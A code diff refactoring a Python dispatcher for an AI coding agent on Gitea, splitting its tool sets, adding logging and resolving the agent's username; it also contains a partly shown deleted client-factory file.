try:
prs = client.list_repo_pull_requests(owner, repo_name)
prs = client.prs.list_repo_pull_requests(owner, repo_name)
for pr in prs:
ref = pr.head.get("ref", "") if pr.head else ""
if re.search(rf"(?<!\d){issue_number}(?!\d)", ref):
return pr
body = pr.body or ""
title = pr.title or ""
matches = CLOSE_KEYWORDS_PATTERN.findall(body) + CLOSE_KEYWORDS_PATTERN.findall(title)
matches = CLOSE_KEYWORDS_PATTERN.findall(
body
) + CLOSE_KEYWORDS_PATTERN.findall(title)
if any(int(m) == issue_number for m in matches):
return pr
issue_ref_pattern = re.compile(rf"(?<!\w)#{issue_number}\b")
if issue_ref_pattern.search(title) or issue_ref_pattern.search(body):
return pr
except Exception as e:
logger.warning(f"Error checking PRs for issue #{issue_number} in {repo_full_name}: {e}")
logger.warning(
f"Error checking PRs for issue #{issue_number} in {repo_full_name}: {e}"
)
return None
@@ -60,7 +71,7 @@ def _find_issues_for_pr_helper(pr_body: str) -> list[int]:
return list(set(int(m) for m in matches))
def _is_awaiting_reply_helper(comments: list[CommentModel]) -> bool:
def _is_awaiting_reply_helper(comments: list[CommentModel], ai_username: str) -> bool:
"""Return True if the agent's most recent comment contains the
awaiting-reply marker AND no human has commented after it.
"""
@@ -68,8 +79,9 @@ def _is_awaiting_reply_helper(comments: list[CommentModel]) -> bool:
return False
# Find the last agent comment index
last_agent_idx: int = -1
agent_usernames = {ai_username, *AGENT_USERNAMES}
for i, c in enumerate(comments):
if c.user and c.user.login in AGENT_USERNAMES:
if c.user and c.user.login in agent_usernames:
last_agent_idx = i
if last_agent_idx == -1:
return False
@@ -79,8 +91,8 @@ def _is_awaiting_reply_helper(comments: list[CommentModel]) -> bool:
if "<!-- agent:awaiting-reply -->" not in body:
return False
# Check if any human replied AFTER the last agent comment
for c in comments[last_agent_idx + 1:]:
if c.user and c.user.login not in AGENT_USERNAMES:
for c in comments[last_agent_idx + 1 :]:
if c.user and c.user.login not in agent_usernames:
return False # Human replied — we can proceed
return True # Agent signalled wait, no human replied yet
@@ -91,14 +103,20 @@ class TaskProcessor(ABC):
def __init__(
self,
client: GiteaClient,
tools: GiteaTools,
issue_tools: IssueTools,
pr_tools: PRTools,
file_tools: FileTools,
git_tools: GitTools,
model_name: str,
repo: str,
item: WorkItem,
ai_username: str,
) -> None:
self.client = client
self.tools = tools
self.issue_tools = issue_tools
self.pr_tools = pr_tools
self.file_tools = file_tools
self.git_tools = git_tools
self.model_name = model_name
self.repo = repo
self.item = item
@@ -111,15 +129,15 @@ class TaskProcessor(ABC):
self.research_tools = ResearchTools()
self.planning_tools: list[Callable[..., Any]] = [
self.tools.get_issue,
self.tools.get_pull_request,
self.tools.list_issues,
self.tools.list_pull_requests,
self.tools.get_file_content,
self.tools.get_issue_comments,
self.tools.get_pull_request_comments,
self.tools.get_pull_request_diff,
self.tools.get_pull_request_patch,
self.issue_tools.get_issue,
self.pr_tools.get_pull_request,
self.issue_tools.list_issues,
self.pr_tools.list_pull_requests,
self.file_tools.get_file_content,
self.issue_tools.get_issue_comments,
self.pr_tools.get_pull_request_comments,
self.pr_tools.get_pull_request_diff,
self.pr_tools.get_pull_request_patch,
self.coding_tools.list_files,
self.coding_tools.read_file,
self.coding_tools.grep_search,
@@ -130,30 +148,28 @@ class TaskProcessor(ABC):
]
self.coding_tools_list: list[Callable[..., Any]] = [
self.tools.get_issue,
self.tools.get_pull_request,
self.tools.list_issues,
self.tools.list_pull_requests,
self.tools.get_file_content,
self.tools.create_pull_request,
self.tools.update_pull_request,
self.tools.add_label_to_issue,
self.tools.add_label_to_pr,
self.tools.create_branch,
self.tools.commit_file,
self.tools.create_issue,
self.tools.add_comment_to_issue,
self.tools.close_issue,
self.tools.close_pull_request,
self.tools.get_issue_comments,
self.tools.get_pull_request_comments,
self.tools.add_comment,
self.tools.add_label,
self.tools.update_file,
self.tools.get_pull_request_diff,
self.tools.get_pull_request_patch,
self.tools.approve_pull_request,
self.tools.request_changes,
self.issue_tools.get_issue,
self.pr_tools.get_pull_request,
self.issue_tools.list_issues,
self.pr_tools.list_pull_requests,
self.file_tools.get_file_content,
self.pr_tools.create_pull_request,
self.pr_tools.update_pull_request,
self.issue_tools.add_label_to_issue,
self.pr_tools.add_label_to_pr,
self.git_tools.create_branch,
self.file_tools.commit_file,
self.issue_tools.create_issue,
self.issue_tools.add_comment_to_issue,
self.issue_tools.close_issue,
self.pr_tools.close_pull_request,
self.issue_tools.get_issue_comments,
self.pr_tools.get_pull_request_comments,
self.file_tools.update_file,
self.pr_tools.get_pull_request_diff,
self.pr_tools.get_pull_request_patch,
self.pr_tools.approve_pull_request,
self.pr_tools.request_changes,
self.coding_tools.list_files,
self.coding_tools.read_file,
self.coding_tools.write_file,
@@ -179,55 +195,78 @@ class PRTaskProcessor(TaskProcessor):
pr_details = pr_info.model_dump_json(indent=2)
pr_diff = ""
try:
pr_diff = self.client.get_pull_request_diff(self.owner, self.repo_name, pr_number)
pr_diff = self.client.prs.get_pull_request_diff(
self.owner, self.repo_name, pr_number
)
except Exception as e:
logger.warning(f"Could not fetch PR diff for #{pr_number}: {e}")
pr_diff = f"Error fetching diff: {e}"
pr_files: list[PullRequestFileModel] = []
try:
pr_files = self.client.get_pull_request_files(self.owner, self.repo_name, pr_number)
except Exception:
pass
pr_files = self.client.prs.get_pull_request_files(
self.owner, self.repo_name, pr_number
)
except Exception as e:
logger.warning(
f"Error fetching files for PR #{pr_number}: {e}", exc_info=True
)
files_summary = "\n".join([f"- {f.filename}" for f in pr_files]) if pr_files else "No files available."
files_summary = (
"\n".join([f"- {f.filename}" for f in pr_files])
if pr_files
else "No files available."
)
comments: list[CommentModel] = []
try:
comments = self.client.get_pull_request_comments(self.owner, self.repo_name, pr_number)
comments = self.client.prs.get_pull_request_comments(
self.owner, self.repo_name, pr_number
)
if not isinstance(comments, list):
comments = []
except Exception:
pass
except Exception as e:
logger.warning(
f"Error fetching comments for PR #{pr_number}: {e}", exc_info=True
)
reviews: list[dict[str, Any]] = []
try:
reviews = self.client.get_pr_reviews(self.owner, self.repo_name, pr_number)
reviews = self.client.prs.get_pr_reviews(
self.owner, self.repo_name, pr_number
)
if not isinstance(reviews, list):
reviews = []
except Exception:
pass
except Exception as e:
logger.warning(
f"Error fetching reviews for PR #{pr_number}: {e}", exc_info=True
)
timeline: list[dict[str, Any]] = []
for c in comments:
timeline.append({
timeline.append(
{
"timestamp": c.created_at or "",
"user": c.user.login,
"type": "comment",
"body": c.body,
"by_ai": "Reviewed by AI Agent" in c.body or c.user.login == self.ai_username
})
"by_ai": "Reviewed by AI Agent" in c.body
or c.user.login == self.ai_username,
}
)
for r in reviews:
r_user = (r.get("user") or {}).get("login", "unknown")
r_body = r.get("body", "")
r_state = r.get("state", "")
timeline.append({
timeline.append(
{
"timestamp": r.get("submitted_at") or r.get("updated_at") or "",
"user": r_user,
"type": "review",
"body": f"[{r_state}] {r_body}",
"by_ai": r_user == self.ai_username
})
"by_ai": r_user == self.ai_username,
}
)
timeline.sort(key=lambda x: x["timestamp"])
@@ -239,15 +278,24 @@ class PRTaskProcessor(TaskProcessor):
logger.info(f"PR #{pr_number} already addressed by AI. Skipping.")
return f"SKIP: PR #{pr_number} has already been addressed by AI. No new action needed."
comments_str = "\n".join([
f"- @{c.user.login} ({c.created_at}): {c.body}"
for c in comments
]) if comments else "No comments yet."
comments_str = (
"\n".join(
[f"- @{c.user.login} ({c.created_at}): {c.body}" for c in comments]
)
if comments
else "No comments yet."
)
reviews_str = "\n".join([
reviews_str = (
"\n".join(
[
f"- @{(r.get('user') or {}).get('login')} ({r.get('submitted_at')}): [{r.get('state')}] {r.get('body')}"
for r in reviews
]) if reviews else "No reviews yet."
]
)
if reviews
else "No reviews yet."
)
connected_issues_ctx = ""
pr_body = pr_info.body or ""
@@ -256,12 +304,22 @@ class PRTaskProcessor(TaskProcessor):
issues_details = []
for issue_num in linked_issues:
try:
issue = self.client.get_issue(self.owner, self.repo_name, issue_num)
issue_comments = self.client.get_issue_comments(self.owner, self.repo_name, issue_num)
comments_list = "\n".join([
issue = self.client.issues.get_issue(
self.owner, self.repo_name, issue_num
)
issue_comments = self.client.issues.get_issue_comments(
self.owner, self.repo_name, issue_num
)
comments_list = (
"\n".join(
[
f" - @{c.user.login} ({c.created_at}): {c.body}"
for c in issue_comments
]) if issue_comments else " No comments yet."
]
)
if issue_comments
else " No comments yet."
)
issues_details.append(
f"### Connected Issue #{issue_num}: {issue.title}\n"
@@ -272,14 +330,23 @@ class PRTaskProcessor(TaskProcessor):
except Exception as e:
logger.warning(f"Could not fetch connected issue #{issue_num}: {e}")
if issues_details:
connected_issues_ctx = "\n---\n\n## 📋 CONNECTED ISSUE CONTEXT\n" + "\n\n".join(issues_details)
connected_issues_ctx = (
"\n---\n\n## 📋 CONNECTED ISSUE CONTEXT\n"
+ "\n\n".join(issues_details)
)
pr_head_branch = pr_info.head.get('ref', 'unknown') if pr_info.head else "unknown"
pr_base_branch = pr_info.base.get('ref', 'unknown') if pr_info.base else "unknown"
pr_head_branch = (
pr_info.head.get("ref", "unknown") if pr_info.head else "unknown"
)
pr_base_branch = (
pr_info.base.get("ref", "unknown") if pr_info.base else "unknown"
)
pr_state = pr_info.state
pr_created = pr_info.created_at or "unknown"
is_fixing_pr = is_own_pr or any(r.get("state") == "REQUEST_CHANGES" for r in reviews)
is_fixing_pr = is_own_pr or any(
r.get("state") == "REQUEST_CHANGES" for r in reviews
)
if is_fixing_pr:
instructions = (
@@ -289,7 +356,7 @@ class PRTaskProcessor(TaskProcessor):
f" 1. Checkout the PR's head branch: `git checkout {pr_head_branch}`\n"
f" 2. Implement the requested fixes or changes on this branch.\n"
f" 3. Verify your fixes and run verification/tests.\n"
f" 4. Commit and push the changes directly: `git add <files> && git commit -m \"fix: address feedback\" && git push origin {pr_head_branch}`\n"
f' 4. Commit and push the changes directly: `git add <files> && git commit -m "fix: address feedback" && git push origin {pr_head_branch}`\n'
f" 5. After pushing, comment on the PR (using the `add_comment` tool) with a summary of the fixes implemented."
)
else:
@@ -329,25 +396,38 @@ class PRTaskProcessor(TaskProcessor):
async def process(self, attempt_limit: int) -> str:
try:
pr_detail = self.client.get_pull_request(self.owner, self.repo_name, self.item.task_number)
pr_detail = self.client.prs.get_pull_request(
self.owner, self.repo_name, self.item.task_number
)
except Exception as e:
logger.warning(f"Error fetching PR #{self.item.task_number} detail: {e}")
return f"FAILED: Could not fetch details for PR #{self.item.task_number}."
is_own_pr = (pr_detail.user and pr_detail.user.login == self.ai_username)
is_requested_reviewer = any(r.login == self.ai_username for r in pr_detail.requested_reviewers)
is_own_pr = bool(pr_detail.user and pr_detail.user.login == self.ai_username)
is_requested_reviewer = any(
r.login == self.ai_username for r in pr_detail.requested_reviewers
)
if not is_own_pr and not is_requested_reviewer:
logger.info(f"PR #{self.item.task_number}: Agent is not a requested reviewer. Skipping.")
logger.info(
f"PR #{self.item.task_number}: Agent is not a requested reviewer. Skipping."
)
return f"SKIP: Agent is not a requested reviewer on PR #{self.item.task_number}."
pr_comments = []
try:
pr_comments = self.client.get_pull_request_comments(self.owner, self.repo_name, self.item.task_number)
except Exception:
pass
if _is_awaiting_reply_helper(pr_comments):
logger.info(f"PR #{self.item.task_number}: agent asked a question and is awaiting a human reply. Skipping.")
pr_comments = self.client.prs.get_pull_request_comments(
self.owner, self.repo_name, self.item.task_number
)
except Exception as e:
logger.warning(
f"Error fetching comments for PR #{self.item.task_number}: {e}",
exc_info=True,
)
if _is_awaiting_reply_helper(pr_comments, self.ai_username):
logger.info(
f"PR #{self.item.task_number}: agent asked a question and is awaiting a human reply. Skipping."
)
return f"SKIP: Awaiting human reply on PR #{self.item.task_number}."
base_mission = self._build_pr_mission(pr_detail, is_own_pr)
@@ -357,7 +437,9 @@ class PRTaskProcessor(TaskProcessor):
for attempt in range(1, attempt_limit + 1):
try:
logger.info(f"Starting Planning Phase for PR #{self.item.task_number} (attempt {attempt})")
logger.info(
f"Starting Planning Phase for PR #{self.item.task_number} (attempt {attempt})"
)
planning_mission = (
f"PHASE 1: PLANNING PHASE\n\n"
f"Your task is to research the problem, analyse the repository structure, and produce a detailed implementation plan.\n"
@@ -371,9 +453,13 @@ class PRTaskProcessor(TaskProcessor):
f"4. Output your final plan clearly.\n"
)
planning_agent = PlanningAgent(self.model_name)
plan = await planning_agent.run_with_tools(planning_mission, self.planning_tools)
plan = await planning_agent.run_with_tools(
planning_mission, self.planning_tools
)
logger.info(f"Starting Coding Phase for PR #{self.item.task_number} (attempt {attempt})")
logger.info(
f"Starting Coding Phase for PR #{self.item.task_number} (attempt {attempt})"
)
coding_mission = (
f"PHASE 2: EXECUTION/CODING PHASE\n\n"
f"You must now implement the changes based on the following plan:\n"
@@ -382,10 +468,14 @@ class PRTaskProcessor(TaskProcessor):
f"Follow the workflow to implement changes, verify, and complete PR review/updates.\n"
)
coding_agent = CodingAgent(self.model_name)
response = await coding_agent.run_with_tools(coding_mission, self.coding_tools_list)
response = await coding_agent.run_with_tools(
coding_mission, self.coding_tools_list
)
return response
except Exception as e:
logger.error(f"Error processing PR #{self.item.task_number} (attempt {attempt}/{attempt_limit}): {e}")
logger.error(
f"Error processing PR #{self.item.task_number} (attempt {attempt}/{attempt_limit}): {e}"
)
if attempt == attempt_limit:
return f"FAILED after {attempt_limit} attempts: {str(e)}"
return f"FAILED: PR #{self.item.task_number} not processed."
@@ -404,15 +494,24 @@ class IssueTaskProcessor(TaskProcessor):
comments: list[CommentModel] = []
try:
comments = self.client.get_issue_comments(self.owner, self.repo_name, issue_number)
except Exception:
pass
comments = self.client.issues.get_issue_comments(
self.owner, self.repo_name, issue_number
)
except Exception as e:
logger.warning(
f"Error fetching comments for issue #{issue_number}: {e}", exc_info=True
)
labels_str = f"Labels: {', '.join(issue_labels)}" if issue_labels else "Labels: none"
comments_str = "\n".join([
f"- @{c.user.login} ({c.created_at}): {c.body}"
for c in comments
]) if comments else "No comments yet."
labels_str = (
f"Labels: {', '.join(issue_labels)}" if issue_labels else "Labels: none"
)
comments_str = (
"\n".join(
[f"- @{c.user.login} ({c.created_at}): {c.body}" for c in comments]
)
if comments
else "No comments yet."
)
return (
f"Your mission is to resolve issue #{issue_number} in {self.repo}.\n\n"
@@ -451,7 +550,9 @@ class IssueTaskProcessor(TaskProcessor):
async def process(self, attempt_limit: int) -> str:
# Check if there is an existing PR for the issue
existing_pr = _find_pr_for_issue_helper(self.client, self.repo, self.item.task_number)
existing_pr = _find_pr_for_issue_helper(
self.client, self.repo, self.item.task_number
)
is_wip = False
has_request_changes = False
@@ -461,54 +562,105 @@ class IssueTaskProcessor(TaskProcessor):
is_wip = title_upper.startswith("WIP:") or "[WIP]" in title_upper
try:
reviews = self.client.get_pr_reviews(self.owner, self.repo_name, existing_pr.number)
has_request_changes = any(r.get("state") == "REQUEST_CHANGES" for r in reviews)
reviews = self.client.prs.get_pr_reviews(
self.owner, self.repo_name, existing_pr.number
)
has_request_changes = any(
r.get("state") == "REQUEST_CHANGES" for r in reviews
)
except Exception as e:
logger.warning(f"Error checking reviews for PR #{existing_pr.number}: {e}")
logger.warning(
f"Error checking reviews for PR #{existing_pr.number}: {e}"
)
if not is_wip and not has_request_changes:
logger.info(f"Issue #{self.item.task_number} already has open PR #{existing_pr.number}. Skipping.")
logger.info(
f"Issue #{self.item.task_number} already has open PR #{existing_pr.number}. Skipping."
)
return f"SKIP: A pull request (PR #{existing_pr.number}) addressing issue #{self.item.task_number} already exists."
# Check comments on issue and PR
issue_comments = []
try:
issue_comments = self.client.get_issue_comments(self.owner, self.repo_name, self.item.task_number)
except Exception:
pass
issue_comments = self.client.issues.get_issue_comments(
self.owner, self.repo_name, self.item.task_number
)
except Exception as e:
logger.warning(
f"Error fetching comments for issue #{self.item.task_number}: {e}",
exc_info=True,
)
pr_comments = []
if existing_pr:
try:
pr_comments = self.client.get_pull_request_comments(self.owner, self.repo_name, existing_pr.number)
except Exception:
pass
pr_comments = self.client.prs.get_pull_request_comments(
self.owner, self.repo_name, existing_pr.number
)
except Exception as e:
logger.warning(
f"Error fetching comments for PR #{existing_pr.number}: {e}",
exc_info=True,
)
if _is_awaiting_reply_helper(issue_comments) or _is_awaiting_reply_helper(pr_comments):
logger.info(f"Issue #{self.item.task_number}: awaiting human reply. Skipping.")
return f"SKIP: Awaiting human reply on issue #{self.item.task_number} or PR."
if _is_awaiting_reply_helper(
issue_comments, self.ai_username
) or _is_awaiting_reply_helper(pr_comments, self.ai_username):
logger.info(
f"Issue #{self.item.task_number}: awaiting human reply. Skipping."
)
return (
f"SKIP: Awaiting human reply on issue #{self.item.task_number} or PR."
)
issue_info = self.item.task_info
assert isinstance(issue_info, IssueModel)
if not isinstance(issue_info, IssueModel):
raise TypeError("Expected task_info to be an IssueModel")
title = issue_info.title
issue_body = issue_info.body or "No description provided."
issue_comments_str = "\n".join([
f"- @{c.user.login} ({c.created_at}): {c.body}" for c in issue_comments
]) if issue_comments else "No comments yet."
issue_comments_str = (
"\n".join(
[
f"- @{c.user.login} ({c.created_at}): {c.body}"
for c in issue_comments
]
)
if issue_comments
else "No comments yet."
)
pr_info_str = "No existing PR."
if existing_pr:
pr_comments_str = "\n".join([
f"- @{c.user.login} ({c.created_at}): {c.body}" for c in pr_comments
]) if pr_comments else "No PR comments yet."
pr_comments_str = (
"\n".join(
[
f"- @{c.user.login} ({c.created_at}): {c.body}"
for c in pr_comments
]
)
if pr_comments
else "No PR comments yet."
)
try:
reviews = self.client.get_pr_reviews(self.owner, self.repo_name, existing_pr.number)
reviews_str = "\n".join([
reviews = self.client.prs.get_pr_reviews(
self.owner, self.repo_name, existing_pr.number
)
reviews_str = (
"\n".join(
[
f"- @{r.get('user', {}).get('login')} ({r.get('submitted_at')}): [{r.get('state')}] {r.get('body')}"
for r in reviews
]) if reviews else "No reviews yet."
except Exception:
]
)
if reviews
else "No reviews yet."
)
except Exception as e:
logger.warning(
f"Error fetching reviews for PR #{existing_pr.number}: {e}",
exc_info=True,
)
reviews_str = "No reviews available."
pr_info_str = (
f"PR Number: #{existing_pr.number}\n"
@@ -532,11 +684,17 @@ class IssueTaskProcessor(TaskProcessor):
coord_tools = CoordinatorTools()
coordinator_agent = CoordinatorAgent(self.model_name)
logger.info(f"Analyzing conversation state for issue #{self.item.task_number}...")
await coordinator_agent.decide_action(state_analysis_mission, self.planning_tools, coord_tools)
logger.info(
f"Analyzing conversation state for issue #{self.item.task_number}..."
)
await coordinator_agent.decide_action(
state_analysis_mission, self.planning_tools, coord_tools
)
action = coord_tools.action
logger.info(f"Coordinator Decided Action: {action} (tool_called={coord_tools.tool_called})")
logger.info(
f"Coordinator Decided Action: {action} (tool_called={coord_tools.tool_called})"
)
if action == "PROPOSE_PLAN":
comment_body = coord_tools.arguments.get("comment_body", "")
@@ -549,7 +707,9 @@ class IssueTaskProcessor(TaskProcessor):
f"<!-- agent:plan-proposal -->\n"
f"<!-- agent:awaiting-reply -->"
)
self.client.add_comment(self.owner, self.repo_name, self.item.task_number, comment_body)
self.client.issues.add_comment(
self.owner, self.repo_name, self.item.task_number, comment_body
)
return f"POSTED_COMMENT: PROPOSE_PLAN comment posted to issue #{self.item.task_number}."
elif action == "ANSWER_QUESTION":
@@ -562,17 +722,27 @@ class IssueTaskProcessor(TaskProcessor):
f"<!-- agent:question-response -->\n"
f"<!-- agent:awaiting-reply -->"
)
self.client.add_comment(self.owner, self.repo_name, self.item.task_number, comment_body)
self.client.issues.add_comment(
self.owner, self.repo_name, self.item.task_number, comment_body
)
return f"POSTED_COMMENT: ANSWER_QUESTION comment posted to issue #{self.item.task_number}."
elif action == "CLOSE_ISSUE":
comment = coord_tools.arguments.get("comment", "Closing the issue as resolved.")
self.client.add_comment(self.owner, self.repo_name, self.item.task_number, comment)
self.client.close_issue(self.owner, self.repo_name, self.item.task_number)
comment = coord_tools.arguments.get(
"comment", "Closing the issue as resolved."
)
self.client.issues.add_comment(
self.owner, self.repo_name, self.item.task_number, comment
)
self.client.issues.close_issue(
self.owner, self.repo_name, self.item.task_number
)
return f"CLOSED_ISSUE: Issue #{self.item.task_number} closed."
elif action == "NO_ACTION":
return f"NO_ACTION: No action taken on issue #{self.item.task_number}."
return (
f"NO_ACTION: No action taken on issue #{self.item.task_number}."
)
elif action == "EXECUTE_PLAN":
approved_plan = coord_tools.arguments.get("approved_plan", "")
@@ -581,10 +751,16 @@ class IssueTaskProcessor(TaskProcessor):
if pr_to_use:
branch_name = pr_to_use.head.get("ref", "")
logger.info(f"Resuming work on existing PR #{pr_to_use.number} on branch '{branch_name}'")
logger.info(
f"Resuming work on existing PR #{pr_to_use.number} on branch '{branch_name}'"
)
else:
logger.info(f"Creating new WIP PR for issue #{self.item.task_number}")
clean_title = re.sub(r'[^a-zA-Z0-9\s-]', '', title).strip().lower()
logger.info(
f"Creating new WIP PR for issue #{self.item.task_number}"
)
clean_title = (
re.sub(r"[^a-zA-Z0-9\s-]", "", title).strip().lower()
)
title_words = clean_title.split()[:5]
desc_suffix = "-".join(title_words)
if not desc_suffix:
@@ -592,26 +768,77 @@ class IssueTaskProcessor(TaskProcessor):
branch_name = f"fix/issue-{self.item.task_number}-{desc_suffix}"
try:
subprocess.run(["git", "checkout", "master"], cwd=str(self.repo_path), check=True)
subprocess.run(["git", "pull", "origin", "master"], cwd=str(self.repo_path), check=True)
subprocess.run(["git", "branch", "-D", branch_name], cwd=str(self.repo_path), stderr=subprocess.DEVNULL)
subprocess.run(["git", "checkout", "-b", branch_name], cwd=str(self.repo_path), check=True)
subprocess.run(["git", "commit", "--allow-empty", "-m", f"WIP: start implementation for issue #{self.item.task_number}"], cwd=str(self.repo_path), check=True)
subprocess.run(["git", "push", "origin", branch_name], cwd=str(self.repo_path), check=True)
pr_title = f"WIP: {title}"
pr_description = f"Work in progress for issue #{self.item.task_number}."
pr_to_use = self.client.create_pull_request(
self.owner, self.repo_name, head=branch_name, base="master", title=pr_title, description=pr_description
subprocess.run(
["git", "checkout", "master"],
cwd=str(self.repo_path),
check=True,
)
subprocess.run(
["git", "pull", "origin", "master"],
cwd=str(self.repo_path),
check=True,
)
subprocess.run(
["git", "branch", "-D", branch_name],
cwd=str(self.repo_path),
stderr=subprocess.DEVNULL,
)
subprocess.run(
["git", "checkout", "-b", branch_name],
cwd=str(self.repo_path),
check=True,
)
subprocess.run(
[
"git",
"commit",
"--allow-empty",
"-m",
f"WIP: start implementation for issue #{self.item.task_number}",
],
cwd=str(self.repo_path),
check=True,
)
subprocess.run(
["git", "push", "origin", branch_name],
cwd=str(self.repo_path),
check=True,
)
pr_link = pr_to_use.html_url or f"{self.client.base_url}/{self.repo}/pulls/{pr_to_use.number}"
start_comment = f"Started work on PR #{pr_to_use.number} ({pr_link})."
self.client.add_comment(self.owner, self.repo_name, self.item.task_number, start_comment)
pr_title = f"WIP: {title}"
pr_description = (
f"Work in progress for issue #{self.item.task_number}."
)
pr_to_use = self.client.prs.create_pull_request(
self.owner,
self.repo_name,
head=branch_name,
base="master",
title=pr_title,
description=pr_description,
)
logger.info(f"Successfully created WIP PR #{pr_to_use.number} on branch '{branch_name}'")
pr_link = (
pr_to_use.html_url
or f"{self.client.base_url}/{self.repo}/pulls/{pr_to_use.number}"
)
start_comment = (
f"Started work on PR #{pr_to_use.number} ({pr_link})."
)
self.client.issues.add_comment(
self.owner,
self.repo_name,
self.item.task_number,
start_comment,
)
logger.info(
f"Successfully created WIP PR #{pr_to_use.number} on branch '{branch_name}'"
)
except Exception as e:
logger.error(f"Failed to create WIP PR for issue #{self.item.task_number}: {e}")
logger.error(
f"Failed to create WIP PR for issue #{self.item.task_number}: {e}"
)
return f"FAILED to create WIP PR: {e}"
base_mission = self._build_issue_mission(issue_info, branch_name)
@@ -636,18 +863,28 @@ class IssueTaskProcessor(TaskProcessor):
f" - web_search(query, time_range, categories) — search the web via SearXNG/DuckDuckGo\n"
f" - fetch_url(url) — read any documentation page in full\n"
)
logger.info(f"Starting Execution/Coding Phase for issue #{self.item.task_number} on branch '{branch_name}'")
logger.info(
f"Starting Execution/Coding Phase for issue #{self.item.task_number} on branch '{branch_name}'"
)
coding_agent = CodingAgent(self.model_name)
response = await coding_agent.run_with_tools(coding_mission, self.coding_tools_list)
logger.info(f"Agent response for issue #{self.item.task_number}: {response}")
response = await coding_agent.run_with_tools(
coding_mission, self.coding_tools_list
)
logger.info(
f"Agent response for issue #{self.item.task_number}: {response}"
)
return response
except CoordinatorNoToolCalledError as e:
logger.error(f"Coordinator error on issue #{self.item.task_number} (attempt {attempt}/{attempt_limit}): {e}")
logger.error(
f"Coordinator error on issue #{self.item.task_number} (attempt {attempt}/{attempt_limit}): {e}"
)
if attempt == attempt_limit:
return f"FAILED: Coordinator did not call any tools after {attempt_limit} attempts."
except Exception as e:
logger.error(f"Error processing issue #{self.item.task_number} (attempt {attempt}/{attempt_limit}): {e}")
logger.error(
f"Error processing issue #{self.item.task_number} (attempt {attempt}/{attempt_limit}): {e}"
)
if attempt == attempt_limit:
return f"FAILED after {attempt_limit} attempts: {str(e)}"
return f"FAILED: Issue #{self.item.task_number} not processed."
@@ -659,12 +896,18 @@ class AgentDispatcher:
def __init__(
self,
client: GiteaClient,
tools: GiteaTools,
issue_tools: IssueTools,
pr_tools: PRTools,
file_tools: FileTools,
git_tools: GitTools,
model_name: str = AGENT_MODEL_ID,
max_retries: int = 2,
) -> None:
self._client = client
self._tools = tools
self._issue_tools = issue_tools
self._pr_tools = pr_tools
self._file_tools = file_tools
self._git_tools = git_tools
self._model_name = model_name
self._max_retries = max_retries
@@ -677,29 +920,26 @@ class AgentDispatcher:
workspace = WorkspaceManager()
repo_path = workspace.get_repo_path(repo)
original_cwd = os.getcwd()
changed_dir = False
if os.path.isdir(str(repo_path)):
os.chdir(str(repo_path))
changed_dir = True
results: list[str] = []
try:
# Get authenticated username for reviewer filter
ai_username = "meeks-ai"
try:
user = self._client.get_authenticated_user()
if user:
user = self._client.repos.get_authenticated_user()
except Exception as e:
raise RuntimeError("No authenticated user found.") from e
if not user or not user.login:
raise RuntimeError("No authenticated user found.")
ai_username = user.login
except Exception:
pass
for item in work_items:
processor: TaskProcessor
if item.task_type == "pr":
processor = PRTaskProcessor(
client=self._client,
tools=self._tools,
issue_tools=self._issue_tools,
pr_tools=self._pr_tools,
file_tools=self._file_tools,
git_tools=self._git_tools,
model_name=self._model_name,
repo=repo,
item=item,
@@ -708,7 +948,10 @@ class AgentDispatcher:
elif item.task_type == "issue":
processor = IssueTaskProcessor(
client=self._client,
tools=self._tools,
issue_tools=self._issue_tools,
pr_tools=self._pr_tools,
file_tools=self._file_tools,
git_tools=self._git_tools,
model_name=self._model_name,
repo=repo,
item=item,
@@ -719,45 +962,62 @@ class AgentDispatcher:
results.append(f"SKIP: Unknown task type {item.task_type}")
continue
logger.info(f"Processing {item.task_type} #{item.task_number} via {processor.__class__.__name__}")
logger.info(
f"Processing {item.task_type} #{item.task_number} via {processor.__class__.__name__}"
)
result = await processor.process(attempt_limit=self._max_retries)
results.append(result)
finally:
if changed_dir:
os.chdir(original_cwd)
return results
# Backward compatibility helper methods for unit tests
def _find_pr_for_issue(self, repo_full_name: str, issue_number: int) -> PullRequestModel | None:
def _find_pr_for_issue(
self, repo_full_name: str, issue_number: int
) -> PullRequestModel | None:
return _find_pr_for_issue_helper(self._client, repo_full_name, issue_number)
def _is_awaiting_reply(self, comments: list[CommentModel]) -> bool:
return _is_awaiting_reply_helper(comments)
user = self._client.repos.get_authenticated_user()
if not user or not user.login:
raise RuntimeError("No authenticated user found.")
return _is_awaiting_reply_helper(comments, user.login)
def _build_pr_mission(self, item: WorkItem) -> str:
pr_info = item.task_info
assert isinstance(pr_info, PullRequestModel)
if not isinstance(pr_info, PullRequestModel):
raise TypeError("Expected task_info to be a PullRequestModel")
user = self._client.repos.get_authenticated_user()
if not user or not user.login:
raise RuntimeError("No authenticated user found.")
processor = PRTaskProcessor(
client=self._client,
tools=self._tools,
issue_tools=self._issue_tools,
pr_tools=self._pr_tools,
file_tools=self._file_tools,
git_tools=self._git_tools,
model_name=self._model_name,
repo=item.repo_full_name,
item=item,
ai_username="meeks-ai",
ai_username=user.login,
)
return processor._build_pr_mission(pr_info, is_own_pr=False)
def _build_issue_mission(self, item: WorkItem) -> str:
issue_info = item.task_info
assert isinstance(issue_info, IssueModel)
if not isinstance(issue_info, IssueModel):
raise TypeError("Expected task_info to be an IssueModel")
user = self._client.repos.get_authenticated_user()
if not user or not user.login:
raise RuntimeError("No authenticated user found.")
processor = IssueTaskProcessor(
client=self._client,
tools=self._tools,
issue_tools=self._issue_tools,
pr_tools=self._pr_tools,
file_tools=self._file_tools,
git_tools=self._git_tools,
model_name=self._model_name,
repo=item.repo_full_name,
item=item,
ai_username="meeks-ai",
ai_username=user.login,
)
return processor._build_issue_mission(issue_info, "dummy-branch")
-94
View File
@@ -1,94 +0,0 @@
import logging
from gitea.client import GiteaClient
from core.interfaces import (
IssuesClient,
PullRequestsClient,
FilesClient,
RefsClient,
ReposClient,
)
from core.coding_agent import CodingAgent
from core.agent import CavemanAgent
from core.coordinator_agent import CoordinatorAgent
from core.planning_agent import PlanningAgent
from core.notification_agent import NotificationReaderAgent
from gitea.workspace import WorkspaceManager
logger: logging.Logger = logging.getLogger("core-factory")
class GiteaClientFactory:
"""Factory for creating Gitea client components with dependency injection support."""
@staticmethod
def create_full_client() -> GiteaClient:
return GiteaClient()
@staticmethod
def create_issues_client(client: GiteaClient | None = None) -> IssuesClient:
if client is None:
client = GiteaClient()
return client
@staticmethod
def create_prs_client(client: GiteaClient | None = None) -> PullRequestsClient:
if client is None:
client = GiteaClient()
return client
@staticmethod
def create_files_client(client: GiteaClient | None = None) -> FilesClient:
